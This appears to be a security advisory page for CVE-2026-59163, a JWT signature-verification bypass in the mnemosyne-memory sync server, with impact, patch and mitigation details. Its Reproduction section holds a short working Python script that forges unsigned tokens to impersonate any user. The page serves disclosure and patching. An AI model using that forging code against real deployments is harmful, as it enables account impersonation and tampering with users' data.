CVE-2026-59163 is a critical-severity (CVSS 9.1) CWE-347 vulnerability in mnemosyne-memory. A fix is available for mnemosyne-memory — see the affected versions and patch details below.
Mnemosyne has JWT signature verification bypass sync server that allows authentication bypass
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-59163.
Real-World Exposure
mnemosyne-memoryReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Mnemosyne sync server's authentication check decoded JWT bearer tokens but never verified their HMAC-SHA256 signatures. Any well-formed token was accepted, allowing an unauthenticated attacker to impersonate any user and read or modify their sync data.
Severity: Critical
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1
Assumes the sync server endpoint is network-reachable. If your deployment is localhost-only, the score drops substantially and severity becomes High or Medium depending on local exposure. Confirm your threat model.
Affected versions
All mnemosyne versions exposing the sync server endpoint, up to and including v3.10.0.
Patched versions
v3.10.1 (commit a0b6b871 on branch security/jwt-signature-verification)
Description
The sync server uses JWT bearer tokens to authenticate clients. Prior to v3.10.1, the auth check in mnemosyne/core/sync_server.py parsed the JWT's header and payload using base64 decoding, then passed the token to a jwt library call with options that effectively disabled signature verification. The server accepted any well-formed token regardless of the signature, including tokens with alg: none and tokens signed with the wrong key.
The fix in v3.10.1 replaces the broken decode with a from-scratch HS256 verifier using only the Python standard library:
- Constant-time signature comparison via hmac.compare_digest
- Strict alg: HS256 check, rejecting none and other algorithms
- UTC-aware exp validation with leeway
- Loud errors with specific failure reasons
- Type validation of decoded payload before use
Impact
An attacker with network access to the sync server can:
- Forge a JWT for any user_id without knowing the secret
- Authenticate as that user to /sync/status, /sync/push, and /sync/pull
- Read the victim's sync state
- Push malicious sync state to corrupt the victim's local database
- Pivot within a shared deployment (multi-user sync server)
Confidentiality and integrity of sync data are fully compromised for the duration of exposure. There is no impact on the server's availability.
Reproduction
import base64
import json
import requests
# Forge a JWT for any user. No secret required.
def forge_jwt(user_id):
header = base64.urlsafe_b64encode(
json.dumps({"alg": "HS256", "typ": "JWT"}).encode()
).rstrip(b"=")
payload = base64.urlsafe_b64encode(
json.dumps({"user_id": user_id, "exp": 9999999999}).encode()
).rstrip(b"=")
sig = b""
return f"{header.decode()}.{payload.decode()}."
r = requests.get(
"https://target.example.com/sync/status",
headers={"Authorization": f"Bearer {forge_jwt('victim-user-id')}"},
)
print(r.status_code, r.json())
A 200 OK response with valid sync status payload confirms the bypass. The attack requires no credentials, no secret, and no prior access.
Mitigation
Upgrade to v3.10.1.
For users who cannot upgrade immediately:
- Restrict network access to the sync server endpoint to trusted clients only. Firewall, reverse proxy with mTLS, or localhost bind with SSH tunnel are all viable.
- The vulnerability is not exploitable against an unreachable endpoint.
Workarounds
None. The patch is required to restore authentication integrity.
Credits
- Reporter: Denis Hache (dplush). Reported via private channel on 2026-06-13 with full reproduction and a coordinated disclosure window.
- Fix: Denis Hache
Timeline
- 2026-06-13: Initial report received from Denis via private channel.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | mnemosyne-memory | all versions | 3.10.1pip install --upgrade 'mnemosyne-memory==3.10.1' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mnemosyne-memory, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update mnemosyne-memory to 3.10.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-59163 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-59163 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-59163. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-59163 in your dependencies?
O3 Security finds CVE-2026-59163 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.